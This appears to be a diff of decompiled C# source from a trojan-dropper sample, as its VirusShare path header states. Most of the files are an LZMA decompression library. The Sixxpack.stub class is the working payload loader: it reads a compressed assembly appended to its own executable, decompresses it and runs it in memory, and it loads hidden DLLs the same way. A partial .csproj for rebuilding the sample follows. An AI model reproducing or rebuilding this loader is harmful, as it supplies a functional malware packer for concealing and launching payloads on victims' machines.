uint numPosStates = (uint) (1 << pb);
|
||||
this.m_LenDecoder.Create(numPosStates);
|
||||
this.m_RepLenDecoder.Create(numPosStates);
|
||||
this.m_PosStateMask = numPosStates - 1U;
|
||||
}
|
||||
|
||||
private void Init(Stream inStream, Stream outStream)
|
||||
{
|
||||
this.m_RangeDecoder.Init(inStream);
|
||||
this.m_OutWindow.Init(outStream);
|
||||
for (uint index1 = 0; index1 < 12U; ++index1)
|
||||
{
|
||||
for (uint index2 = 0; index2 <= this.m_PosStateMask; ++index2)
|
||||
{
|
||||
uint index3 = (index1 << 4) + index2;
|
||||
this.m_IsMatchDecoders[(IntPtr) index3].Init();
|
||||
this.m_IsRep0LongDecoders[(IntPtr) index3].Init();
|
||||
}
|
||||
this.m_IsRepDecoders[(IntPtr) index1].Init();
|
||||
this.m_IsRepG0Decoders[(IntPtr) index1].Init();
|
||||
this.m_IsRepG1Decoders[(IntPtr) index1].Init();
|
||||
this.m_IsRepG2Decoders[(IntPtr) index1].Init();
|
||||
}
|
||||
this.m_LiteralDecoder.Init();
|
||||
for (uint index = 0; index < 4U; ++index)
|
||||
this.m_PosSlotDecoder[(IntPtr) index].Init();
|
||||
for (uint index = 0; index < 114U; ++index)
|
||||
this.m_PosDecoders[(IntPtr) index].Init();
|
||||
this.m_LenDecoder.Init();
|
||||
this.m_RepLenDecoder.Init();
|
||||
this.m_PosAlignDecoder.Init();
|
||||
}
|
||||
|
||||
public void Code(
|
||||
Stream inStream,
|
||||
Stream outStream,
|
||||
long inSize,
|
||||
long outSize,
|
||||
ICodeProgress progress)
|
||||
{
|
||||
this.Init(inStream, outStream);
|
||||
Base.State state = new Base.State();
|
||||
state.Init();
|
||||
uint distance = 0;
|
||||
uint num1 = 0;
|
||||
uint num2 = 0;
|
||||
uint num3 = 0;
|
||||
ulong pos = 0;
|
||||
ulong num4 = (ulong) outSize;
|
||||
if (pos < num4)
|
||||
{
|
||||
if (this.m_IsMatchDecoders[(IntPtr) (state.Index << 4)].Decode(this.m_RangeDecoder) != 0U)
|
||||
throw new DataErrorException();
|
||||
state.UpdateChar();
|
||||
this.m_OutWindow.PutByte(this.m_LiteralDecoder.DecodeNormal(this.m_RangeDecoder, 0U, (byte) 0));
|
||||
++pos;
|
||||
}
|
||||
while (pos < num4)
|
||||
{
|
||||
uint posState = (uint) pos & this.m_PosStateMask;
|
||||
if (this.m_IsMatchDecoders[(IntPtr) ((state.Index << 4) + posState)].Decode(this.m_RangeDecoder) == 0U)
|
||||
{
|
||||
byte prevByte = this.m_OutWindow.GetByte(0U);
|
||||
this.m_OutWindow.PutByte(state.IsCharState() ? this.m_LiteralDecoder.DecodeNormal(this.m_RangeDecoder, (uint) pos, prevByte) : this.m_LiteralDecoder.DecodeWithMatchByte(this.m_RangeDecoder, (uint) pos, prevByte, this.m_OutWindow.GetByte(distance)));
|
||||
state.UpdateChar();
|
||||
++pos;
|
||||
}
|
||||
else
|
||||
{
|
||||
uint len;
|
||||
if (this.m_IsRepDecoders[(IntPtr) state.Index].Decode(this.m_RangeDecoder) == 1U)
|
||||
{
|
||||
if (this.m_IsRepG0Decoders[(IntPtr) state.Index].Decode(this.m_RangeDecoder) == 0U)
|
||||
{
|
||||
if (this.m_IsRep0LongDecoders[(IntPtr) ((state.Index << 4) + posState)].Decode(this.m_RangeDecoder) == 0U)
|
||||
{
|
||||
state.UpdateShortRep();
|
||||
this.m_OutWindow.PutByte(this.m_OutWindow.GetByte(distance));
|
||||
++pos;
|
||||
continue;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
uint num5;
|
||||
if (this.m_IsRepG1Decoders[(IntPtr) state.Index].Decode(this.m_RangeDecoder) == 0U)
|
||||
{
|
||||
num5 = num1;
|
||||
}
|
||||
else
|
||||
{
|
||||
if (this.m_IsRepG2Decoders[(IntPtr) state.Index].Decode(this.m_RangeDecoder) == 0U)
|
||||
{
|
||||
num5 = num2;
|
||||
}
|
||||
else
|
||||
{
|
||||
num5 = num3;
|
||||
num3 = num2;
|
||||
}
|
||||
num2 = num1;
|
||||
}
|
||||
num1 = distance;
|
||||
distance = num5;
|
||||
}
|
||||
len = this.m_RepLenDecoder.Decode(this.m_RangeDecoder, posState) + 2U;
|
||||
state.UpdateRep();
|
||||
}
|
||||
else
|
||||
{
|
||||
num3 = num2;
|
||||
num2 = num1;
|
||||
num1 = distance;
|
||||
len = 2U + this.m_LenDecoder.Decode(this.m_RangeDecoder, posState);
|
||||
state.UpdateMatch();
|
||||
uint num6 = this.m_PosSlotDecoder[(IntPtr) Base.GetLenToPosState(len)].Decode(this.m_RangeDecoder);
|
||||
if (num6 >= 4U)
|
||||
{
|
||||
int NumBitLevels = (int) (num6 >> 1) - 1;
|
||||
uint num7 = (uint) ((2 | (int) num6 & 1) << NumBitLevels);
|
||||
distance = num6 >= 14U ? num7 + (this.m_RangeDecoder.DecodeDirectBits(NumBitLevels - 4) << 4) + this.m_PosAlignDecoder.ReverseDecode(this.m_RangeDecoder) : num7 + BitTreeDecoder.ReverseDecode(this.m_PosDecoders, (uint) ((int) num7 - (int) num6 - 1), this.m_RangeDecoder, NumBitLevels);
|
||||
}
|
||||
else
|
||||
distance = num6;
|
||||
}
|
||||
if ((ulong) distance >= pos || distance >= this.m_DictionarySizeCheck)
|
||||
{
|
||||
if (distance != uint.MaxValue)
|
||||
throw new DataErrorException();
|
||||
break;
|
||||
}
|
||||
this.m_OutWindow.CopyBlock(distance, len);
|
||||
pos += (ulong) len;
|
||||
}
|
||||
}
|
||||
this.m_OutWindow.Flush();
|
||||
this.m_OutWindow.ReleaseStream();
|
||||
this.m_RangeDecoder.ReleaseStream();
|
||||
}
|
||||
|
||||
public void SetDecoderProperties(byte[] properties)
|
||||
{
|
||||
if (properties.Length < 5)
|
||||
throw new InvalidParamException();
|
||||
int lc = (int) properties[0] % 9;
|
||||
int num = (int) properties[0] / 9;
|
||||
int lp = num % 5;
|
||||
int pb = num / 5;
|
||||
if (pb > 4)
|
||||
throw new InvalidParamException();
|
||||
uint dictionarySize = 0;
|
||||
for (int index = 0; index < 4; ++index)
|
||||
dictionarySize += (uint) properties[1 + index] << index * 8;
|
||||
this.SetDictionarySize(dictionarySize);
|
||||
this.SetLiteralProperties(lp, lc);
|
||||
this.SetPosBitsProperties(pb);
|
||||
}
|
||||
|
||||
private class LenDecoder
|
||||
{
|
||||
private BitDecoder m_Choice = new BitDecoder();
|
||||
private BitDecoder m_Choice2 = new BitDecoder();
|
||||
private BitTreeDecoder[] m_LowCoder = new BitTreeDecoder[new IntPtr(16)];
|
||||
private BitTreeDecoder[] m_MidCoder = new BitTreeDecoder[new IntPtr(16)];
|
||||
private BitTreeDecoder m_HighCoder = new BitTreeDecoder(8);
|
||||
private uint m_NumPosStates;
|
||||
|
||||
public void Create(uint numPosStates)
|
||||
{
|
||||
for (uint numPosStates1 = this.m_NumPosStates; numPosStates1 < numPosStates; ++numPosStates1)
|
||||
{
|
||||
this.m_LowCoder[(IntPtr) numPosStates1] = new BitTreeDecoder(3);
|
||||
this.m_MidCoder[(IntPtr) numPosStates1] = new BitTreeDecoder(3);
|
||||
}
|
||||
this.m_NumPosStates = numPosStates;
|
||||
}
|
||||
|
||||
public void Init()
|
||||
{
|
||||
this.m_Choice.Init();
|
||||
for (uint index = 0; index < this.m_NumPosStates; ++index)
|
||||
{
|
||||
this.m_LowCoder[(IntPtr) index].Init();
|
||||
this.m_MidCoder[(IntPtr) index].Init();
|
||||
}
|
||||
this.m_Choice2.Init();
|
||||
this.m_HighCoder.Init();
|
||||
}
|
||||
|
||||
public uint Decode(SevenZip.Compression.RangeCoder.Decoder rangeDecoder, uint posState)
|
||||
{
|
||||
if (this.m_Choice.Decode(rangeDecoder) == 0U)
|
||||
return this.m_LowCoder[(IntPtr) posState].Decode(rangeDecoder);
|
||||
uint num = 8;
|
||||
return this.m_Choice2.Decode(rangeDecoder) != 0U ? num + 8U + this.m_HighCoder.Decode(rangeDecoder) : num + this.m_MidCoder[(IntPtr) posState].Decode(rangeDecoder);
|
||||
}
|
||||
}
|
||||
|
||||
private class LiteralDecoder
|
||||
{
|
||||
private Decoder.LiteralDecoder.Decoder2[] m_Coders;
|
||||
private int m_NumPrevBits;
|
||||
private int m_NumPosBits;
|
||||
private uint m_PosMask;
|
||||
|
||||
public void Create(int numPosBits, int numPrevBits)
|
||||
{
|
||||
if (this.m_Coders != null && this.m_NumPrevBits == numPrevBits && this.m_NumPosBits == numPosBits)
|
||||
return;
|
||||
this.m_NumPosBits = numPosBits;
|
||||
this.m_PosMask = (uint) ((1 << numPosBits) - 1);
|
||||
this.m_NumPrevBits = numPrevBits;
|
||||
uint length = (uint) (1 << this.m_NumPrevBits + this.m_NumPosBits);
|
||||
this.m_Coders = new Decoder.LiteralDecoder.Decoder2[(IntPtr) length];
|
||||
for (uint index = 0; index < length; ++index)
|
||||
this.m_Coders[(IntPtr) index].Create();
|
||||
}
|
||||
|
||||
public void Init()
|
||||
{
|
||||
uint num = (uint) (1 << this.m_NumPrevBits + this.m_NumPosBits);
|
||||
for (uint index = 0; index < num; ++index)
|
||||
this.m_Coders[(IntPtr) index].Init();
|
||||
}
|
||||
|
||||
private uint GetState(uint pos, byte prevByte) => (uint) ((((int) pos & (int) this.m_PosMask) << this.m_NumPrevBits) + ((int) prevByte >> 8 - this.m_NumPrevBits));
|
||||
|
||||
public byte DecodeNormal(SevenZip.Compression.RangeCoder.Decoder rangeDecoder, uint pos, byte prevByte) => this.m_Coders[(IntPtr) this.GetState(pos, prevByte)].DecodeNormal(rangeDecoder);
|
||||
|
||||
public byte DecodeWithMatchByte(
|
||||
SevenZip.Compression.RangeCoder.Decoder rangeDecoder,
|
||||
uint pos,
|
||||
byte prevByte,
|
||||
byte matchByte)
|
||||
{
|
||||
return this.m_Coders[(IntPtr) this.GetState(pos, prevByte)].DecodeWithMatchByte(rangeDecoder, matchByte);
|
||||
}
|
||||
|
||||
private struct Decoder2
|
||||
{
|
||||
private BitDecoder[] m_Decoders;
|
||||
|
||||
public void Create() => this.m_Decoders = new BitDecoder[768];
|
||||
|
||||
public void Init()
|
||||
{
|
||||
for (int index = 0; index < 768; ++index)
|
||||
this.m_Decoders[index].Init();
|
||||
}
|
||||
|
||||
public byte DecodeNormal(SevenZip.Compression.RangeCoder.Decoder rangeDecoder)
|
||||
{
|
||||
uint index = 1;
|
||||
do
|
||||
{
|
||||
index = index << 1 | this.m_Decoders[(IntPtr) index].Decode(rangeDecoder);
|
||||
}
|
||||
while (index < 256U);
|
||||
return (byte) index;
|
||||
}
|
||||
|
||||
public byte DecodeWithMatchByte(SevenZip.Compression.RangeCoder.Decoder rangeDecoder, byte matchByte)
|
||||
{
|
||||
uint index = 1;
|
||||
do
|
||||
{
|
||||
uint num1 = (uint) ((int) matchByte >> 7 & 1);
|
||||
matchByte <<= 1;
|
||||
uint num2 = this.m_Decoders[(IntPtr) ((uint) (1 + (int) num1 << 8) + index)].Decode(rangeDecoder);
|
||||
index = index << 1 | num2;
|
||||
if ((int) num1 != (int) num2)
|
||||
{
|
||||
while (index < 256U)
|
||||
index = index << 1 | this.m_Decoders[(IntPtr) index].Decode(rangeDecoder);
|
||||
break;
|
||||
}
|
||||
}
|
||||
while (index < 256U);
|
||||
return (byte) index;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+51
@@ -0,0 +1,51 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: SevenZip.Compression.RangeCoder.BitDecoder
|
||||
// Assembly: actmp, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 50C41484-D1A9-4872-9CEC-A8081495D24E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.Late.iv-ca1bc7f9d82b3530e22d7ae6728ebded4829bf8ebc63ceb2e8d24ac8e3f7cf57.exe
|
||||
|
||||
namespace SevenZip.Compression.RangeCoder
|
||||
{
|
||||
internal struct BitDecoder
|
||||
{
|
||||
public const int kNumBitModelTotalBits = 11;
|
||||
public const uint kBitModelTotal = 2048;
|
||||
private const int kNumMoveBits = 5;
|
||||
private uint Prob;
|
||||
|
||||
public void UpdateModel(int numMoveBits, uint symbol)
|
||||
{
|
||||
if (symbol == 0U)
|
||||
this.Prob += 2048U - this.Prob >> numMoveBits;
|
||||
else
|
||||
this.Prob -= this.Prob >> numMoveBits;
|
||||
}
|
||||
|
||||
public void Init() => this.Prob = 1024U;
|
||||
|
||||
public uint Decode(Decoder rangeDecoder)
|
||||
{
|
||||
uint num = (rangeDecoder.Range >> 11) * this.Prob;
|
||||
if (rangeDecoder.Code < num)
|
||||
{
|
||||
rangeDecoder.Range = num;
|
||||
this.Prob += 2048U - this.Prob >> 5;
|
||||
if (rangeDecoder.Range < 16777216U)
|
||||
{
|
||||
rangeDecoder.Code = rangeDecoder.Code << 8 | (uint) (byte) rangeDecoder.Stream.ReadByte();
|
||||
rangeDecoder.Range <<= 8;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
rangeDecoder.Range -= num;
|
||||
rangeDecoder.Code -= num;
|
||||
this.Prob -= this.Prob >> 5;
|
||||
if (rangeDecoder.Range < 16777216U)
|
||||
{
|
||||
rangeDecoder.Code = rangeDecoder.Code << 8 | (uint) (byte) rangeDecoder.Stream.ReadByte();
|
||||
rangeDecoder.Range <<= 8;
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
+66
@@ -0,0 +1,66 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: SevenZip.Compression.RangeCoder.BitTreeDecoder
|
||||
// Assembly: actmp, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 50C41484-D1A9-4872-9CEC-A8081495D24E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.Late.iv-ca1bc7f9d82b3530e22d7ae6728ebded4829bf8ebc63ceb2e8d24ac8e3f7cf57.exe
|
||||
|
||||
using System;
|
||||
|
||||
namespace SevenZip.Compression.RangeCoder
|
||||
{
|
||||
internal struct BitTreeDecoder
|
||||
{
|
||||
private BitDecoder[] Models;
|
||||
private int NumBitLevels;
|
||||
|
||||
public BitTreeDecoder(int numBitLevels)
|
||||
{
|
||||
this.NumBitLevels = numBitLevels;
|
||||
this.Models = new BitDecoder[1 << numBitLevels];
|
||||
}
|
||||
|
||||
public void Init()
|
||||
{
|
||||
for (uint index = 1; (long) index < (long) (1 << this.NumBitLevels); ++index)
|
||||
this.Models[(IntPtr) index].Init();
|
||||
}
|
||||
|
||||
public uint Decode(Decoder rangeDecoder)
|
||||
{
|
||||
uint index = 1;
|
||||
for (int numBitLevels = this.NumBitLevels; numBitLevels > 0; --numBitLevels)
|
||||
index = (index << 1) + this.Models[(IntPtr) index].Decode(rangeDecoder);
|
||||
return index - (uint) (1 << this.NumBitLevels);
|
||||
}
|
||||
|
||||
public uint ReverseDecode(Decoder rangeDecoder)
|
||||
{
|
||||
uint index1 = 1;
|
||||
uint num1 = 0;
|
||||
for (int index2 = 0; index2 < this.NumBitLevels; ++index2)
|
||||
{
|
||||
uint num2 = this.Models[(IntPtr) index1].Decode(rangeDecoder);
|
||||
index1 = (index1 << 1) + num2;
|
||||
num1 |= num2 << index2;
|
||||
}
|
||||
return num1;
|
||||
}
|
||||
|
||||
public static uint ReverseDecode(
|
||||
BitDecoder[] Models,
|
||||
uint startIndex,
|
||||
Decoder rangeDecoder,
|
||||
int NumBitLevels)
|
||||
{
|
||||
uint num1 = 1;
|
||||
uint num2 = 0;
|
||||
for (int index = 0; index < NumBitLevels; ++index)
|
||||
{
|
||||
uint num3 = Models[(IntPtr) (startIndex + num1)].Decode(rangeDecoder);
|
||||
num1 = (num1 << 1) + num3;
|
||||
num2 |= num3 << index;
|
||||
}
|
||||
return num2;
|
||||
}
|
||||
}
|
||||
}
|
||||
+95
@@ -0,0 +1,95 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: SevenZip.Compression.RangeCoder.Decoder
|
||||
// Assembly: actmp, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 50C41484-D1A9-4872-9CEC-A8081495D24E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.Late.iv-ca1bc7f9d82b3530e22d7ae6728ebded4829bf8ebc63ceb2e8d24ac8e3f7cf57.exe
|
||||
|
||||
using System.IO;
|
||||
|
||||
namespace SevenZip.Compression.RangeCoder
|
||||
{
|
||||
internal class Decoder
|
||||
{
|
||||
public const uint kTopValue = 16777216;
|
||||
public uint Range;
|
||||
public uint Code;
|
||||
public Stream Stream;
|
||||
|
||||
public void Init(Stream stream)
|
||||
{
|
||||
this.Stream = stream;
|
||||
this.Code = 0U;
|
||||
this.Range = uint.MaxValue;
|
||||
for (int index = 0; index < 5; ++index)
|
||||
this.Code = this.Code << 8 | (uint) (byte) this.Stream.ReadByte();
|
||||
}
|
||||
|
||||
public void ReleaseStream() => this.Stream = (Stream) null;
|
||||
|
||||
public void CloseStream() => this.Stream.Close();
|
||||
|
||||
public void Normalize()
|
||||
{
|
||||
for (; this.Range < 16777216U; this.Range <<= 8)
|
||||
this.Code = this.Code << 8 | (uint) (byte) this.Stream.ReadByte();
|
||||
}
|
||||
|
||||
public void Normalize2()
|
||||
{
|
||||
if (this.Range >= 16777216U)
|
||||
return;
|
||||
this.Code = this.Code << 8 | (uint) (byte) this.Stream.ReadByte();
|
||||
this.Range <<= 8;
|
||||
}
|
||||
|
||||
public uint GetThreshold(uint total) => this.Code / (this.Range /= total);
|
||||
|
||||
public void Decode(uint start, uint size, uint total)
|
||||
{
|
||||
this.Code -= start * this.Range;
|
||||
this.Range *= size;
|
||||
this.Normalize();
|
||||
}
|
||||
|
||||
public uint DecodeDirectBits(int numTotalBits)
|
||||
{
|
||||
uint range = this.Range;
|
||||
uint num1 = this.Code;
|
||||
uint num2 = 0;
|
||||
for (int index = numTotalBits; index > 0; --index)
|
||||
{
|
||||
range >>= 1;
|
||||
uint num3 = num1 - range >> 31;
|
||||
num1 -= range & num3 - 1U;
|
||||
num2 = (uint) ((int) num2 << 1 | 1 - (int) num3);
|
||||
if (range < 16777216U)
|
||||
{
|
||||
num1 = num1 << 8 | (uint) (byte) this.Stream.ReadByte();
|
||||
range <<= 8;
|
||||
}
|
||||
}
|
||||
this.Range = range;
|
||||
this.Code = num1;
|
||||
return num2;
|
||||
}
|
||||
|
||||
public uint DecodeBit(uint size0, int numTotalBits)
|
||||
{
|
||||
uint num1 = (this.Range >> numTotalBits) * size0;
|
||||
uint num2;
|
||||
if (this.Code < num1)
|
||||
{
|
||||
num2 = 0U;
|
||||
this.Range = num1;
|
||||
}
|
||||
else
|
||||
{
|
||||
num2 = 1U;
|
||||
this.Code -= num1;
|
||||
this.Range -= num1;
|
||||
}
|
||||
this.Normalize();
|
||||
return num2;
|
||||
}
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: SevenZip.DataErrorException
|
||||
// Assembly: actmp, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 50C41484-D1A9-4872-9CEC-A8081495D24E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.Late.iv-ca1bc7f9d82b3530e22d7ae6728ebded4829bf8ebc63ceb2e8d24ac8e3f7cf57.exe
|
||||
|
||||
using System;
|
||||
|
||||
namespace SevenZip
|
||||
{
|
||||
internal class DataErrorException : ApplicationException
|
||||
{
|
||||
public DataErrorException()
|
||||
: base("Data Error")
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+13
@@ -0,0 +1,13 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: SevenZip.ICodeProgress
|
||||
// Assembly: actmp, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 50C41484-D1A9-4872-9CEC-A8081495D24E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.Late.iv-ca1bc7f9d82b3530e22d7ae6728ebded4829bf8ebc63ceb2e8d24ac8e3f7cf57.exe
|
||||
|
||||
namespace SevenZip
|
||||
{
|
||||
public interface ICodeProgress
|
||||
{
|
||||
void SetProgress(long inSize, long outSize);
|
||||
}
|
||||
}
|
||||
+12
@@ -0,0 +1,12 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: SevenZip.ICoder
|
||||
// Assembly: actmp, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 50C41484-D1A9-4872-9CEC-A8081495D24E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.Late.iv-ca1bc7f9d82b3530e22d7ae6728ebded4829bf8ebc63ceb2e8d24ac8e3f7cf57.exe
|
||||
|
||||
namespace SevenZip
|
||||
{
|
||||
public interface ICoder
|
||||
{
|
||||
}
|
||||
}
|
||||
+13
@@ -0,0 +1,13 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: SevenZip.ISetCoderProperties
|
||||
// Assembly: actmp, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 50C41484-D1A9-4872-9CEC-A8081495D24E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.Late.iv-ca1bc7f9d82b3530e22d7ae6728ebded4829bf8ebc63ceb2e8d24ac8e3f7cf57.exe
|
||||
|
||||
namespace SevenZip
|
||||
{
|
||||
public interface ISetCoderProperties
|
||||
{
|
||||
void SetCoderProperties(CoderPropID[] propIDs, object[] properties);
|
||||
}
|
||||
}
|
||||
+13
@@ -0,0 +1,13 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: SevenZip.ISetDecoderProperties
|
||||
// Assembly: actmp, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 50C41484-D1A9-4872-9CEC-A8081495D24E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.Late.iv-ca1bc7f9d82b3530e22d7ae6728ebded4829bf8ebc63ceb2e8d24ac8e3f7cf57.exe
|
||||
|
||||
namespace SevenZip
|
||||
{
|
||||
public interface ISetDecoderProperties
|
||||
{
|
||||
void SetDecoderProperties(byte[] properties);
|
||||
}
|
||||
}
|
||||
+15
@@ -0,0 +1,15 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: SevenZip.IWriteCoderProperties
|
||||
// Assembly: actmp, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 50C41484-D1A9-4872-9CEC-A8081495D24E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.Late.iv-ca1bc7f9d82b3530e22d7ae6728ebded4829bf8ebc63ceb2e8d24ac8e3f7cf57.exe
|
||||
|
||||
using System.IO;
|
||||
|
||||
namespace SevenZip
|
||||
{
|
||||
public interface IWriteCoderProperties
|
||||
{
|
||||
void WriteCoderProperties(Stream outStream);
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: SevenZip.InvalidParamException
|
||||
// Assembly: actmp, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 50C41484-D1A9-4872-9CEC-A8081495D24E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.Late.iv-ca1bc7f9d82b3530e22d7ae6728ebded4829bf8ebc63ceb2e8d24ac8e3f7cf57.exe
|
||||
|
||||
using System;
|
||||
|
||||
namespace SevenZip
|
||||
{
|
||||
internal class InvalidParamException : ApplicationException
|
||||
{
|
||||
public InvalidParamException()
|
||||
: base("Invalid Parameter")
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+37
@@ -0,0 +1,37 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Sixxpack.Compressor
|
||||
// Assembly: actmp, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 50C41484-D1A9-4872-9CEC-A8081495D24E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.Late.iv-ca1bc7f9d82b3530e22d7ae6728ebded4829bf8ebc63ceb2e8d24ac8e3f7cf57.exe
|
||||
|
||||
using SevenZip;
|
||||
using SevenZip.Compression.LZMA;
|
||||
using System;
|
||||
using System.IO;
|
||||
|
||||
namespace Sixxpack
|
||||
{
|
||||
internal class Compressor
|
||||
{
|
||||
public byte[] Decompress(Stream inStream)
|
||||
{
|
||||
MemoryStream outStream = new MemoryStream();
|
||||
byte[] numArray = new byte[5];
|
||||
if (inStream.Read(numArray, 0, 5) != 5)
|
||||
throw new Exception("Err");
|
||||
Decoder decoder = new Decoder();
|
||||
decoder.SetDecoderProperties(numArray);
|
||||
long outSize = 0;
|
||||
for (int index = 0; index < 8; ++index)
|
||||
{
|
||||
int num = inStream.ReadByte();
|
||||
if (num < 0)
|
||||
throw new Exception("Err");
|
||||
outSize |= (long) (byte) num << 8 * index;
|
||||
}
|
||||
long inSize = inStream.Length - inStream.Position;
|
||||
decoder.Code(inStream, (Stream) outStream, inSize, outSize, (ICodeProgress) null);
|
||||
return outStream.ToArray();
|
||||
}
|
||||
}
|
||||
}
|
||||
+60
@@ -0,0 +1,60 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Sixxpack.stub
|
||||
// Assembly: actmp, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 50C41484-D1A9-4872-9CEC-A8081495D24E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.Late.iv-ca1bc7f9d82b3530e22d7ae6728ebded4829bf8ebc63ceb2e8d24ac8e3f7cf57.exe
|
||||
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Reflection;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Sixxpack
|
||||
{
|
||||
internal class stub
|
||||
{
|
||||
internal static int orig = 45056;
|
||||
|
||||
[STAThread]
|
||||
private static void Main(string[] args)
|
||||
{
|
||||
try
|
||||
{
|
||||
AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(stub.myResolveEventHandler);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
}
|
||||
object[] parameters = new object[1]{ (object) args };
|
||||
MemoryStream inStream = new MemoryStream();
|
||||
Stream stream = (Stream) new FileStream(Application.ExecutablePath.Substring(Application.ExecutablePath.LastIndexOf('\\') + 1), FileMode.Open, FileAccess.Read);
|
||||
stream.Position = (long) stub.orig;
|
||||
byte[] buffer = new byte[stream.Length - (long) stub.orig];
|
||||
stream.Read(buffer, 0, Convert.ToInt32(buffer.Length));
|
||||
inStream.Write(buffer, 0, buffer.Length);
|
||||
inStream.Seek(0L, SeekOrigin.Begin);
|
||||
Assembly assembly = Assembly.Load(new Compressor().Decompress((Stream) inStream));
|
||||
try
|
||||
{
|
||||
assembly.EntryPoint.Invoke((object) null, parameters);
|
||||
}
|
||||
catch
|
||||
{
|
||||
assembly.EntryPoint.Invoke((object) null, (object[]) null);
|
||||
}
|
||||
}
|
||||
|
||||
private static Assembly myResolveEventHandler(object sender, ResolveEventArgs args)
|
||||
{
|
||||
string str = args.Name.ToString().Trim().Split(',')[0].ToString().Trim();
|
||||
string path = str.IndexOf(".") < 0 ? "_" + str + ".dll" : str.Replace(".", "_") + ".dll";
|
||||
MemoryStream inStream = new MemoryStream();
|
||||
Stream stream = (Stream) new FileStream(path, FileMode.Open, FileAccess.Read);
|
||||
byte[] buffer = new byte[stream.Length];
|
||||
stream.Read(buffer, 0, Convert.ToInt32(buffer.Length));
|
||||
inStream.Write(buffer, 0, buffer.Length);
|
||||
inStream.Seek(0L, SeekOrigin.Begin);
|
||||
return Assembly.Load(new Compressor().Decompress((Stream) inStream));
|
||||
}
|
||||
}
|
||||
}
|
||||
+60
@@ -0,0 +1,60 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.Late.iv-ca1bc7f9d82b3530e22d7ae6728ebded4829bf8ebc63ceb2e8d24ac8e3f7cf57.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{8E97CC01-EDC8-4CD2-80F0-AFD12B96346E}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>actmp</AssemblyName>
|
||||
<ApplicationVersion>0.0.0.0</ApplicationVersion>
|
||||
<RootNamespace>SevenZip</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
